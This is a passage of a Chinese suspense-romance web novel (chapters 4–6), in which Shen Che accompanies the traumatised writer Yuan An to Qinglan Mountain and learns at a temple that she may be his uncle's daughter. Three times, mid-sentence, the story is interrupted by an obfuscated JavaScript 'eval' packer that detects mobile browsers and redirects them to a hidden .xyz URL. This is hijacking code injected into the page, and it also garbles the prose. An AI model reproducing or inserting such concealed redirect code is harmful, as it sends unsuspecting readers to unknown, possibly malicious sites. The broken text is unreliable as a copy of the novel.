男孩听到最后一句,明显眼睛瞪大了。沈澈见目的达到,便也不再继续吓他,眉眼一弯,又变成了之前那个温和的别墅男主人:“如果那个坏叔叔还来纠缠你,你就告诉他,这家有男主人,再有下次,我就直接报警了。” 男孩捏着钱,又惊又疑地点点头,转身跑了。 沈澈目送他跑远,慢慢走出花房。他对着不远处正在遛狗的“老太太”使了个眼色,“老太太”就牵着狗,慢悠悠地跟了上去。 沈澈回到车里,锁上车门,戴上手套,拆开信封。 一张折叠规整的素白信纸滑了出来。 信纸中间还夹着一张照片。 沈澈顺手拿起,却在看清照片内容的瞬间,瞪大了双眼。 这张照片显然很有些年头了,虽是彩色,但边缘已经泛黄。画面中,一对男女正对着镜头笑得甜蜜幸福。年轻的学者西装笔挺,儒雅温和,依偎在他的怀里的女人,衣着朴素,气质温柔,但不知为何,她的面容,却被一个狰狞的烟头烫痕彻底毁去。 沈澈的目光骤然锐利。 因为照片上的学者不是别人,正是他即将前往云州青岚山祭拜的叔叔,那个因为不对等的爱情惨死异乡的天才科学家,沈翔。 一股寒意顺着脊椎向上蔓延。 沈澈几乎是屏着呼吸,迅速展开附带的素白信纸。 薄薄的信纸上只有两行打印而成的冰冷字迹——想知道你父亲的事吗?甩开那群废物警察,来找我。 两行字,让沈澈如坠冰窖。 4. 第 4 章 翌日上午,高铁站人流如织。 巨大的穹顶下,列车进站的广播声和旅人来往的喧嚣声交织成嘈杂的背景音。 原安拖着两个半人高的行李箱,在人潮中艰难前行。 箱子异常沉重,滚过地面,发出不堪重负的闷响。原安走得很慢,每一次转弯都显得格外吃力。 廊柱阴影里,两个大妈杵在那儿正在攀谈。 其中一个拎小包的大妈看到原安,先是毫不掩饰上下打量了一番,而后用手肘捅了下身旁同伴,朝着原安的方向挤眉弄眼。 同伴顺着她的目光望去,嘴角立刻撇下来,一边看一边摇头:“现在的小姑娘啊,就是爱逞强,这么多行李,也不知道找个帮手。” “就是啊,”小包大妈咂咂嘴,目光带着一丝自以为是的怜悯,“这细胳膊细腿,多累啊。” 同伴没接话,只是重重地又“啧”了一声。 两人交头接耳,细细碎碎的议论声,像细小的针尖,若有若无地刺着原安。 原安抿着唇,不发一言,只是用力拖拽着箱子,沉默地向前挪动。 却在这时,她感觉有人轻轻拍了拍她的肩膀。 原安回头,便见顾巍不知何时已经站到了她的身后。 他的脸上还挂着她熟悉的温和笑意,微微倾身,凑到她面前道:“安安,还是我来吧,箱子看起来挺沉的呢。” “才不要呢。”原安倔强转回头,颇为高傲地微昂下巴,“都说好了帮你扛行李,看不起谁呢。” 原安说完,眼角余光非常自然地向后瞥去,毫不意外看到顾巍脸上露出了一个又无奈又欣慰的表情。 她的嘴角不自觉扬起,心底那点不愉快登时烟消云散。 原安拉起行李箱,继续朝着安检口的方向走去。 滚轮划过地面,发出沉闷的摩擦声,顾巍沉默地跟在她身后,像一道无声的影子。 两人最终停在了安检口。 原安站定,深吸一口气,弯腰,双手抓住第一个较轻的行李箱提手,一鼓作气,堪堪将它送上了安检传送带。 轮到第二个行李箱的时候,重量明显超出了她的预期。 原安费力得将箱子提离地面,可这个箱子实在是太沉了,原安提到一半,手臂就开始不受控制地颤抖起来。 她本能咬牙坚持,箱子继续向上,被抬起大半,眼看就要越过台面边缘,最后一刻,原安的指尖却因力竭猛地一滑! 重心瞬间偏离,沉重的箱子带着她一起,直直地向着前方安检台边缘栽去。 “啊!” 原安低呼出声,心脏几乎停跳。 千钧一发之际,一只修长有力的手自后方伸来,稳稳托住她的左上臂,硬生生止住了她撞上安检台边缘的势头。而另一只手则越过她精准地拽住行李箱的提手,瞬间化解了下坠之势。 “小心。”沉稳温和的男声自耳畔响起,带着熟悉的令人安心的力量。 “顾巍,”原安惊魂未定,拍着胸脯转身道,“还好有……” “你”字生生卡在了喉咙口。 原安看着身旁那张轮廓深邃、戴着金丝眼镜的英俊面孔,明显猝不及防。 “早上好,原小姐,又见面了。” 沈澈仿佛没有捕捉到她眼中一闪而逝的错愕和失望,神态自若地点头打招呼。 他绅士地扶稳原安,随即弯腰,轻松提起她沉重的行李箱,放上传送带。 “谢谢你啊,沈老师。”原安这才回神,压下眼中的尴尬,和沈澈一前一后走过安检。 “沈老师这是也要出远门?” “是啊。”沈澈答得自然,“昨晚江教授和我说,专案组基于昨天的回访评估,非常担心你独自远行的状态,决定临时增派一名心理支持人员随行。江教授有场跨国学术会议,实在抽不开身,但我近期正好也要去青岚山扫墓,时间地点都吻合,于是这个伟大而艰巨的任务就落到我头上了。” 他说到这里,看着原安无奈笑道:“原小姐不介意吧?权当路上多个熟人聊天解闷。” “我是不介意的……”原安说完,下意识转头望向身旁站着的顾巍,似乎正在征询他的意见。 于是,沈澈很自然地顺着她的视线方向,偏头问空气道:“顾先生也不介意吧?” 他的语气平和,仿佛真的在询问一位需要尊重的同行者。 然后原安就看到顾巍对她轻轻摇了摇头,那包容温和的态度,一如往常。 原安转回头,看向沈澈,笑道:“那就麻烦沈老师了。” “原小姐客气。”沈澈微笑,目光掠过传送带上缓缓向他们移来的行李,道,“我来帮你拿这个大箱子吧。” 这次是陈述句,带着不容拒绝的体贴。 原安看着沈澈从传送带上搬下她的行李,又从容不迫地拿过自己的简约商务行李包。她看着他轻松掌控了那个差点绊倒了她的沉重行李箱,那句“我一个人能行”在嘴边转了几圈,最终还是没能说出口。 她跟在沈澈身后,犹豫几番,还是对着他的背影,真诚而小声地道了句:“多谢。” 高铁平稳驶离望海。 窗外景象飞速流转,都市的繁华轮廓渐次被宁静的田野取代。 原安靠窗坐着,目光漫无目的掠过景色,最终不受控制地滑向身侧。 顾巍安静地坐在那里,双手抱胸,脑袋低垂,已然沉沉睡去。 原安看着那双紧闭的丹凤眼,不知为何,心头莫名不安。 几乎是本能地抬眼,她望向过道的另一侧。 沈澈安静地坐在那里,修长的手指正翻阅着一本厚重的心理学专著。 午后的阳光透过车窗,为他镀上一层柔和的金边。他垂眸阅读的姿态一如既往优雅矜贵,像一幅沉静的画。 原安的目光不自觉在他身上停留,心中那阵无端的不安竟奇迹般渐渐平息了下去。 片刻,她像是突然意识到自己在做什么似的,急忙收回视线,重新投向窗外飞逝的风景。 她不曾觉察到的是,在她转头的同时,沈澈也从书页中抬起了眼。 他目光沉沉掠过她和她身侧空无一人的座位。 昨日,那封来自暗处的照片和信件确实给沈澈带来了不小的冲击,但最初的情绪过后,他很及时地想到时间对不上。 他的叔叔沈翔死于25年前,而原安今年堪堪24岁,期间差了一年多,无论如何,原安都不可能是他叔叔的女儿。 但这个饵太毒了。 就连他这样见惯风浪的人,在看到信件的第一时间都感受到了冲击,不敢想,若是那封信如幕后人所愿送到原安手里,该是何等光景。 所幸他们此刻已经离开了望海,离开了那个幕后人所在的大本营。 虽说途中危险依然存在,但相对可控得多。 现在就等张队那边对匿名信的调查结果了。 想到这里,沈澈不动声色地掏出手机,划开了手机屏幕。 五小时的车程一晃而过。 走下高铁,转乘大巴,辗转抵达青岚山脚时,已是傍晚。 原安预定的酒店掩映在苍松翠竹之中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447664|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 白墙黛瓦,木格窗棂,门楣上悬着一块匾额,上书“栖云山房”四个楷体大字古朴端方。 这里没有炫目的霓虹,远离城市的喧嚣,只有穿林而过的山风配合着似有若无的檀香,在低调中彰显着不显山露水的雅致。 原安走到前台,递上证件,温声开口:“您好,我之前在网上预订了两间豪华大床房。这是我的证件。” “好的,原女士,请稍等。”前台小姐笑容甜美,接过证件,熟练地在电脑上录入对应的信息。 “原女士,您前天确实预定了两间豪华大床房。”前台确认完信息,抬起头,目光礼貌地在原安周围逡巡一圈,随即非常自然地向站在原安右后方的沈澈伸出手,“这位先生,麻烦您也出示一下证件。” 空气瞬间凝滞。 原安身体一僵,不自觉后退一步。 她像是急于求证一般,侧头看向自己的左手边,却愕然发现那个本应站着顾巍的位置,此刻却空空如也。 山风穿堂而过,原安的心骤然坠入谷底。 第二次了。 这是第二次顾巍毫无征兆地消失。 心脏好像被人重击了一锤,原安登时眼冒金星,胃部抽搐。耳鸣声骤然增大,盖过了周围所有声音。千头万绪奔涌而至,强烈的不安裹挟着眩晕感骤然袭来,无数光影交叠旋转,如同碎裂的万花筒,绚烂而扭曲。 原安的额角渗出细密冷汗,指尖冰凉,脚下踉跄,几乎要站立不稳。 出于本能,她伸手向前台方向摸去,企图临时寻找一个支撑。 却在这时,一只温暖有力的手及时托住了她的手肘,带着恰到好处的分寸,成为这天旋地转中唯一的支点。 “原小姐?”清越的声线在耳畔响起,带着毫不掩饰的关切,“你还好吗?” 原安茫然循声抬眼,却撞上了沈澈担忧的目光。她骤然回神,抬手撑住前台的实木桌沿,借此稳住身形。 “哦,没事,”她的声音还有些发飘,仓促地垂下眼帘,掩饰着失态,“可,可能,有点晕车……” 沈澈眸光微沉,将她的勉强尽收眼底。 他没有戳破她,只是静静收回手,转向前台,主动开口替原安解释道:“我们虽是一起的,但我另外订了一间普通大床房。和我们同行的那位顾先生临时去处理租车事宜了,稍后他会亲自过来补办登记。请先为原小姐办理入住,她现在需要休息。” 他的话平稳清晰,重点明确,虽然温和,却带着不容置喙的力量。 前台本能点头照办:“好的,先生。” 话音刚落,沈澈将自己的证件也递了过去,补充道:“另外,烦请将我的房间安排在原小姐的同层,最好是相邻或者对面。她旅途劳顿,状态欠佳,需要安静休养。距离近些,方便照应,大家都能安心。谢谢。” 前台登时被沈澈这温和却条理分明的话说服,只觉得眼前这位先生不但长得好看,还细心周到又体贴。再看向原安时,眼神里不禁带上了一丝羡慕。 “好的,先生,您考虑得很周到,我这就为您安排相邻的房间。”她接过沈澈的证件,低头快速录入。 原安安静地靠在木桌旁,沉默不语。 她不动声色抬眼,看向身边正耐心等待前台办理手续的沈澈。 那张向来温雅得体的俊脸上,此刻却突然多了一层难以捉摸的迷雾。 她终于后知后觉地意识到了一个被她忽略很久的问题。 为什么每一次顾巍无声无息消失的时候,沈澈都能精准地知道他的去向? 5. 第 5 章 晨光熹微,穿透薄雾,为青岚山镀上一层朦胧金边。 沈澈踏着被露水浸润的青石板路,独自向山顶的云栖禅寺走去。 山间空气清冽,带着草木清香,沁人心脾。但沈澈的心情却莫名有些沉郁。 昨日他和原安一起在前台办理入住手续时,原安不知想到了什么,状若无意地抬眸看了他一眼。 那眼神里没有往常的礼貌或者亲近,反而带上了一丝不易察觉的冰冷和审视。 她在怀疑他。 这个结论让沈澈非常震惊。 一直以来,他都认为自己的伪装天衣无缝。无论是跟在江教授身边、负责基础数据记录和初步访谈的沈助理,还是充满同理心、能够理解她、和她进行高质量对话的朋友沈澈,他的言语恰如其分,他的行为分寸有礼,他的行事谨慎周密,就连逐步靠近她的理由都名正言顺。 那么,为什么她会突然起疑? 她究竟是从哪里察觉到了异样? 她此刻又在做什么?是否又陷入了与顾巍幻影的纠缠? 最重要的是,这份怀疑,是否会让她收回之前的信任,在接下来的调查中对他竖起更高的心墙? 忧虑一个接一个,如同投入古井的石子,在沈澈心里漾开一圈圈涟漪。他试图将注意力抽离,但原安那冰冷的眼神和之后如有实质的沉默,却顽固地占据着他思绪的一角,无法抽离,无法脱身。 这种从未有过的失控,让沈澈感到一丝罕见的烦躁。 青岚山并不高,很快,那座掩映在苍翠古木间的云栖禅寺,便出现在了眼前。 古朴的山门庄严肃穆,晨钟悠扬,穿透薄雾,涤荡着尘世的喧嚣。 沈澈熟门熟路地绕过香火鼎盛的大雄宝殿,沿着殿旁一条石板小径,向寺庙深处走去。 小径尽头,是一处被苍松翠柏环绕的独立院落,朱红院门紧闭,透着一股与世隔绝的寂寥肃穆。 守候在院门旁侧小室里的中年知客僧,显然是认得沈澈的。见沈澈的身影出现在小径尽头,便已悄然起身,待沈澈行至近前,知客僧走出小室,上前一步,低宣一声佛号,而后对着沈澈做了一个“请”的手势,无声引他入院。 院内青苔覆阶,古树虬结,非常安静。院落尽头,是一栋形制古朴的独立殿宇。殿宇朴素,檐角飞翘,门楣上方悬着一块乌木匾额,上书“沈氏功德堂”五个大字古朴严肃。 这便是云栖禅寺为沈家这等世代大檀越专门辟出的供奉之所,非请勿入。 知客僧引着沈澈走上石阶,及至殿前,才合十行礼,悄然退去。 沈澈在门口静立片刻,待心头情绪沉静,方才抬手推开了那扇雕着繁复莲纹的古朴殿门。 往生堂内,光线幽微而柔和。 高大的殿宇由深色楠木构筑,梁柱间萦绕着经年不散的沉郁檀香。殿内没有繁复的装饰,唯有依墙而立的巨大紫檀木神龛庄严无比。层叠的龛位中,乌木鎏金的灵位整齐供奉其上,无声诉说着沈家绵延数百年的根基与沧桑。 沈澈步履沉缓,径直走向最深处一个相对简朴的角落龛位。那里没有过多的雕饰,只有一盏造型朴拙的青铜长明灯幽幽跳动。 龛位正中,摆着一块乌木牌位,上头清晰刻着一行小字——显考沈公讳翔府君之灵位。 “叔叔,我来看您了。” 沈澈低声开口,向来清越的嗓音此刻带上了明显的沙哑。他取过供桌旁备好的线香,就着长明灯点燃。 三缕青烟袅袅升起,模糊了牌位上冰冷的刻字。 沈澈站在牌位前,一瞬间仿佛又回到了幼时那个阴冷潮湿、让他无比窒息的老宅后院。 沈澈从小就知道,自己的父母并不相爱,之所以结合,不过是家族联姻。曾几何时,他也憧憬过像同龄孩子一样投入父母怀里撒娇的画面,但当他发现父亲根本不可能满足自己这个愿望时,回身看到的,却是母亲跟随父亲离开的背影。 那个瞬间,他突然就明白,或许亲情于他而言,是种奢望。 于是,落寞地转身,抛弃不可能的妄想,年仅四岁的沈澈在心里为自己筑起了一道密不透风的心墙。墙里是死寂的荒原,墙外是与他无关的充满审视的上流世界。他以为这就是他全部的人生。 然后,沈翔出现了。 这个刚刚留学归来、意气风发的小叔叔,像一道毫无预兆却温暖灿烂的阳光,蛮横地照亮了他灰暗的童年。 他会带着年幼的他一起,溜出沉闷的老宅,跑到喧闹的市井,一大一小毫无形象地蹲在路边吸溜滚烫的馄饨汤。他会笑着擦去他嘴角的油渍,毫不在意昂贵的西装蹭上了小马扎的灰尘。他会带着他去天文台看星星,指着浩瀚的星河告诉他,人类的烦恼在宇宙尺度下渺小如尘埃,每一个生命都值得被珍视和探索。 他从不教他如何做一个合格的沈家人,而是身体力行地教会他如何做一个有温度的人。 在沈翔这里,沈澈得到了所有的亲情和温暖。 直到现在,沈澈身上还有许多特质来源于沈翔,比如他骨子里的温雅和包容,他待人接物时的尊重与分寸,比如他内心对正义的坚守,以及无论世道如何,始终对世界保持善意的勇气。 所以,当他得知,警方对沈翔死亡的调查结论,是他的叔叔因为玩弄女性、身败名裂、最终抑郁酗酒死于自焚的时候,他只感到了极度的荒谬。 而真正让他感到窒息的,是他的父亲乃至整个家族的沉默。 他愤怒,他不甘,他悲痛,可他太弱小,没能反抗过整个家族,被迫缄口。 这一妥协,就是二十三年。 殿外的山风掠过古松,发出一阵呜咽低鸣。 沈澈紧抿唇线,强行按下心头痛楚。 就像过往二十三年里,他一直强迫自己做的那样。 然后他的思绪就不受控制地飘到了一年前。 一年前,位于首都的特别案件侦查局,接到了来自望海市局的一份协查申请。他在看完那份由望海市局特别顾问原安撰写的案情分析报告后,才惊觉原来当年叔叔沈翔“自杀”的背后,竟还隐藏着如此巨大的阴谋与血腥。 事情的起因,是望海市在短短两周内,接连发生了3起科技公司高管与资深技术专家的非正常死亡事件。三名受害者彼此没有直接的社会关联,现场痕迹也倾向于意外,但死亡时间过于密集,且死者或直接或间接地关联到了正进行激烈市场竞争的光通信材料领域,引起了警方的高度警觉。 望海市局为此成立了调查小组,并在调查陷入僵局后,创新性地聘请了以逻辑缜密、洞察力深刻著称的推理小说家原安作为特别顾问,协助提供侦查思路。 原安果然不负众望。她跳出了传统的侦查框架,没有在技术细节上过多纠结,而是直接从人物关系和过往交集入手,展开调查。最后,她凭借着一张二十五年前沈翔亲笔标注的TG-MS图谱复印件,成功将这三起看似孤立的死亡案件串联起来。 她指出,三名死者在约30年前,都曾参与过一个由宁州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447665|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大学牵头、多家行业巨头资助的代号为“破晓”的前瞻性通信材料联合研发项目,并都与该项目的核心灵魂人物、技术天才沈翔关系密切这一重大突破点。 基于此,原安进一步深入挖掘,并根据已有线索大胆推测,当年由天才科学家沈翔主导的“破晓”项目,虽然最终没有落地,但在研发过程中,很可能已经取得重大突破,并且具备了颠覆现有市场格局、带来垄断性暴利的潜力。因此有人利欲熏心,为窃取这份价值连城的民用技术成果,一手主导了沈翔的“自杀”。 而本次案件的三名死者,很可能是因为在当下行业新一轮技术竞赛和并购整合的关键当口,无意中触及当年的真相,才惨遭灭口。 “叔叔,说实话,我当时看到原安的分析报告时,整个人都是震惊的。我曾经想过很多种您可能的死亡原因,甚至也猜测过您是被人谋害的,但我从未想过,您死亡的背后竟然还涉及如此重大的利益牵扯。当年他们不但害你性命,还给你套了满身污名,现在,他们又害了原安……” 沈澈说到这里,修长手指无意识收紧,指节泛白。 他忍不住又想到了原安。 那个冲破重重迷雾,翻出被埋藏了整整二十五年惊天黑暗的天才少女,那个因为协助市局惨遭绑架,死里逃生却患上了严重心理疾病的推理作家。 “原安,她真的是一个聪慧敏锐、胆大心细的女孩,若不是她的坚持,望海市局不会上报,特侦局不会介入,我也就不会有机会重查旧案。可是她自己却……” 沈澈说到这里,微不可查地顿了顿,终究还是没能继续说下去。 双手持香,沈澈对着沈翔的牌位深深鞠躬。 “叔叔,若您在天有灵,请保佑原安早日康复。我们,真的很需要她。” 走出往生堂,沈澈心情复杂。 步履沉重地走下石阶,身后却传来了一个温和苍老的声音。 “澈少爷,请留步。” 沈澈驻足转身,便见云栖禅寺的方丈慧明,身披一领半旧袈裟,不知何时已悄然立于堂外廊下。 山风吹动他宽大的袖袍,晨光勾勒出他清癯的身影,他只是站在那里,就仿佛已经与这古寺融为一体。 “大师晨安。” 沈澈合十行礼,心中微动。慧明大师向来深居简出,此刻前来,绝非偶然。 “澈少爷孝心可鉴,年年今日,风雨无阻。翔先生若泉下有知,定感欣慰。” 慧明大师缓步走下石阶。他年逾古稀,精神矍铄,眼神睿智,仿若能够看透人心。 他缓步走到沈澈面前站定,方才开口续道:“不知澈少爷可有空随老衲去一趟静室?” 沈澈疑惑:“大师是有什么事吗?” “阿弥陀佛。去年清明,有位女施主前来寺中祭拜。她离开前,特意将一木盒交予老衲,嘱托老衲务必转交给沈家后人。” “那位女施主告诉老衲,说翔先生实非自戕,乃遭奸人所害。那木盒便是翔先生临终所托凭证。她蹉跎半生,费尽心机,还是未能为翔先生洗雪沉冤。如今她自觉大限将至,再无余力,故将此物送还沈家,望沈家后人能了此夙愿。” 沈澈心头一震,急忙问道:“大师可知,那位女施主是何人?” “澈少爷想来对她是不陌生的。”慧明大师看着沈澈,面容慈悲,目光沉静,“她便是一年前震惊望海的远洲集团绑架案嫌疑人之一,林心楠。” 沈澈呼吸一窒。 林心楠?原安的母亲? 6. 第 6 章 直到被请进慧明大师的静室,喝了一杯清茶,沈澈还是没能缓过神来。 千头万绪,纷乱繁杂,如同被飓风席卷过的海面,一片狼藉。 慧明大师径直走到静室一侧的古朴木柜前,打开铜锁,从中小心捧出一个约莫巴掌大小的紫檀木盒。 他将木盒郑重放在沈澈面前的茶案上,缓缓开口:“这便是林施主交给老衲的东西了。” 沈澈心头沉重,接过木盒,轻轻打开。 木盒里躺着一枚男款铂金戒指,样式简洁,工艺精湛,内圈刻着两个清晰的小字——翔·婉。 “婉?”沈澈皱眉,抬眼看向慧明大师,问道,“大师可知这位‘婉’是?” “是翔先生的挚爱,原婉姑娘。”慧明大师双手合十,眼中流露出深切的悲悯与追忆,“这枚戒指,本是一对,二十五年前,老衲曾有幸见过,乃是翔先生为原婉姑娘定制的结婚戒指。” “那时候,翔先生不顾家族反对,强硬退掉了与顾家大小姐顾琳的婚事,引起了轩然大波。后来,他独自一人来到寺中,在沈氏先祖灵前跪了整整一宿。” 慧明大师缓缓开口,声音里带着岁月的沧桑:“老衲后来问他,这样做值得吗?翔先生说,是值得的。虽然门第悬殊,但他和原婉姑娘是真心相爱。他此番南下屏州,除了暂避纷争、陪原婉姑娘安心待产,更重要的是,他要正式拜会原家,三媒六聘、堂堂正正娶原婉姑娘过门,给她和孩子一个正当的名分和安稳的未来。” “孩子?”沈澈脑中嗡地一声,握着木盒边缘的手指猛地收紧,“大师的意思是……叔叔和原婉姑娘有过孩子?” “是啊。可惜那个孩子,在翔先生和婉姑娘相继罹难后,也消失不见了。令尊曾经动用人脉暗中找过,可惜一无所获。”说到这里,慧明大师不由叹气,“那孩子若还活着,也该有二十多岁了。” 沈澈心中瞬间扬起惊涛骇浪。 他不由想到了那封被塞进原安花房里的匿名信。 沈澈垂下眼眸,声音发紧,语气有些急切:“那大师,关于那孩子,您还知道些什么?比如,是男是女?有什么身体特征?任何线索都可以。” 慧明大师认真回忆片刻,最终摇头道:“当年翔先生南下时,婉姑娘尚在孕中,故而老衲没见过那孩子,亦不知其性别。但翔先生在出发前,曾有顺口提过一句,说此次若得麟儿,便取名‘沈涵’;若是千金,则叫‘沈安’。” 沈澈豁然抬头,呼吸一滞:“沈……安?” 难道,这才是原安本来的名字? 沈澈的脸色微不可察白了一瞬。 所以,原安原本其实不叫原安,她应该叫沈安,但是因为种种原因,最后从了母姓? 可是不对。 年纪对不上。 沈翔死亡25年,原安才24岁,无论如何都不可能是。 想到这里,沈澈像是抓住了什么最坚实的逻辑盾牌,立刻强行将脑中种种荒谬念头死死按了下去。 一种连他自己都未曾察觉的、莫名的抗拒感,让他毫不犹豫地中止了这个危险的联想。 他那时并未深思,自己为何会对此事产生如此强烈的抵触情绪。 最后还是慧明大师敏锐地察觉到沈澈的不对劲:“澈少爷,可是有何处不妥?” 沈澈抿了抿唇,本想说一句没什么,但话到嘴边,被私人情感刻意压制的理性还是忍不住冒了头。 他闭了眼,沉默片刻,终究是理智占了上风。 他有些不甘心,又抱着些许侥幸心理,试探开口问道:“大师,若有一人,今年一月底时,才堪堪年满二十四岁,她是不是不可能是叔叔的孩子?” 慧明大师闻言,微微蹙眉。 虽然不知道沈澈这么理性一个人,为什么会问出主观性这么强的问题,但慧明大师还是认真思考半晌,中立道:“阿弥陀佛。依老衲之见,此事并非绝无可能。” 沈澈呼吸一顿,桃花眼微微瞪大:“大师此话何解?” “当年翔先生南下屏江,与婉姑娘虽有情,却无婚约之名。彼时,户籍管理严谨,异地办理更是艰难。老衲听闻,民间为了顺利登记,有时是会将生辰信息晚报个一年半载。” 慧明大师说到这里,微微停顿,似在斟酌,片刻,他才缓缓补充道:“然,血脉之事,关乎重大,终究不可仅凭推测。澈少爷若真心存疑惑,不妨寻个机缘,携那人一起,以科学之法验明正身,方为稳妥之道。” 慧明大师的话宛如惊雷,炸得沈澈心乱如麻。 他甚至没来得及听完慧明大师的最后补充,思绪就已经飘到了原安身上。 他突然就想到,出发之前,原安同他说过,此番上青岚山,是因为母亲忌日将近,要来扫墓。 他突然就想到,原安说过,她母亲的安息之所是在寺庙后山竹林间的一处清净所在。 “大师,恕我冒昧,”沈澈难得失礼地打断慧明大师的话,急道,“晚辈听闻,贵寺后山竹林似有一处墓地,不知安葬的是?” “就是原婉姑娘。”慧明大师平和答道,仿佛只是在陈述一个寻常事实,“说到此事,就不得不提起另一段因果了。当年翔先生和婉姑娘相继罹难,林施主为此二人之事多方奔走,万般无奈之下,求到了令尊面前。” 说到这里,慧明大师有了一个极其微妙的停顿。他不自觉望向窗外云海,目光突然变得有些深远。 沈澈注意到,慧明大师的手指甚至无意识地拨动了一下念珠。 沈澈眯了眯眼。他几乎可以肯定,这背后一定还有另一段更私人、更沉重的过往。 他忍不住屏住呼吸,静静等待慧明大师的下文。 可惜,慧明大师终究还是没有继续这个话题。 他收回目光,静静将那些不该由他道出的尘缘旧事又重新敛入心底,只是平和地给出了最后结论:“后来,令尊顶着压力出面,向寺里捐资,并获准在寺庙拥有使用权的后山竹林深处、与沈家往生堂遥遥相望的地方,为原婉姑娘辟了一方清净墓地,由寺里代为照看。” “也算是对这对有情人的一种成全了。”慧明大师最后感叹。 慧明大师的话宛如一盆冷水当头浇下,沈澈只感觉四肢冰冷,背脊发寒,再无余力去深究更多的陈年过往。 他只知道,那个他一直抗拒、试图用逻辑驳斥的可怕猜想,在此刻仿佛被一柄重锤狠狠砸实。 所以,原安真的是他叔叔和原婉的女儿? 所以,原安真的是他的堂妹? 这太离谱了! 半晌,沈澈愣愣地抬起头,声音干涩地问出了那个他明知答案、却仍不死心的问题:“大师……后山竹林深处,除了原婉,可还葬有他人?” 与此同时,云栖禅寺后山竹林。 晨光透过密匝的竹叶,洒下斑驳的光影。 原安一手提着简单的清扫工具,一手拎着装有香烛祭品的小篮子,沿着蜿蜒石阶小径,缓缓走向竹林深处。 顾巍安静地跟在她身边,可她仍旧心神不宁地频繁环顾四周。 “怎么了?”顾巍察觉到她的不安,如往常一般关切询问,“累了?” “没有。”原安摇摇头,低下脑袋,目光专注地看着脚下的路,“快到了。” 昨日顾巍毫无预兆地消失后,无论她怎么打他电话,对面都是一片忙音。直到今晨,她都做好一人独自上山扫墓的准备了,结果一开房门,却发现顾巍不知何时已经等在了她的门外。 他没有解释昨天消失的原因,她也默契地不去深究。他们彼此装作什么事情都没发生过的样子,仿佛他一如既往,还是她最为相信依赖、无话不谈的亲密挚友。 可是,真实发生过的事情怎么可能当成什么都没发生过呢?更何况这其中还牵扯到了沈澈…… 想到沈澈,原安垂下眼帘,心情沉重。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447666|185168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这个人绝不仅仅只是个科研小助理。 两人各怀心事,沉默地走过蜿蜒小径。 小径尽头,一座简朴的青石墓碑静静矗立。 这墓碑显然已有许多年头,边缘有些磨损,碑面却干干净净,该是有人时常打理。 碑上没有冗长的铭文,只有四个端正的楷书刻字——原婉之墓。 “母亲,我来看你了。” 原安走到墓前,放下竹篮。她凝视着墓碑上的刻字,一种混合着孺慕、悲伤与难以言喻的孤寂感,缓缓涌上心头。 自打她记事起,她就知道自己是个上不得台面的私生女。伴随着周遭或明或暗的指指点点,在很长一段时间里,她都自卑得抬不起头。 她还记得自己七岁那年,林心楠的生意终于有了起色。她随着林心楠来到望海,转入望海一所重点小学。第一学期还没过半,她私生女的身份便曝了光。那之后,明里暗里的欺负就开始了。她不敢告诉林心楠,只能自己默默忍受。 后来,是林心楠无意间发现了她手臂上的掐伤,追问之下,才知道她遭遇了霸凌。林心楠没有大吵大闹,也没有揪着那几个霸凌她的孩子不依不饶,她直接一身优雅地找到校长,冷静对校长陈述了事实,并巧妙地暗示,如果校方不能妥善处理这种恶劣的霸凌行为,她不介意让更多关注教育公平的媒体朋友,了解这所百年名校的真实氛围。 结果自然不言而喻,校长当即表示定会严肃处理此事,并无比恭敬地亲自送她们离开。 事情解决之后,林心楠没有让她回去上课,而是以她受到惊吓为由给她请了一周长假,然后带着她坐高铁,来到了青岚山。 这是她第一次被带到这片后山竹林,第一次见到这座简朴的墓碑。 她到现在都还记得当时的场景。 那时候,林心楠牵着小小的她,走到墓碑前,蹲下身,直视着她,缓缓开口:“安安,有些事我确实没和你提过。本来是觉得你太小,想等你长大一些再和你说。但现在,我却觉得,与其让别人告诉你,还是我来说吧。” “那些人没有说错,法律上,你确实没有父亲。但我认为,这并不是什么大事。” 林心楠语气温柔,却极有力量:“这世间太多男女,在懵懂中结为夫妻,在无知里成为父母。我不认为这样的人,能教育好、保护好自己的孩子。但你不一样,安安,这些问题在你身上都不会出现,因为我会拼尽一切保护你,教你在这人世间抬头挺胸做人。” “我要你记住,就算你这一生都得不到父亲的关爱也没什么大不了的,因为从你生下来的那一刻起,就永远拥有了两位母亲的守护。” “两位母亲?”小原安疑惑。 “一位是我,而另一位,就是躺在这里的原婉阿姨。”她转过脸,看向墓碑,眼神是从未有过的温柔,“她是妈妈这辈子最亲的姐妹,也是你姓氏的来源。按照道理,你该喊她一声母亲。她虽然不会像我一样时时刻刻在你身边,但她就像这山间清风、林间日光,你看不见,但她永远都在。” 言语犹在耳畔,恍然物是人非。 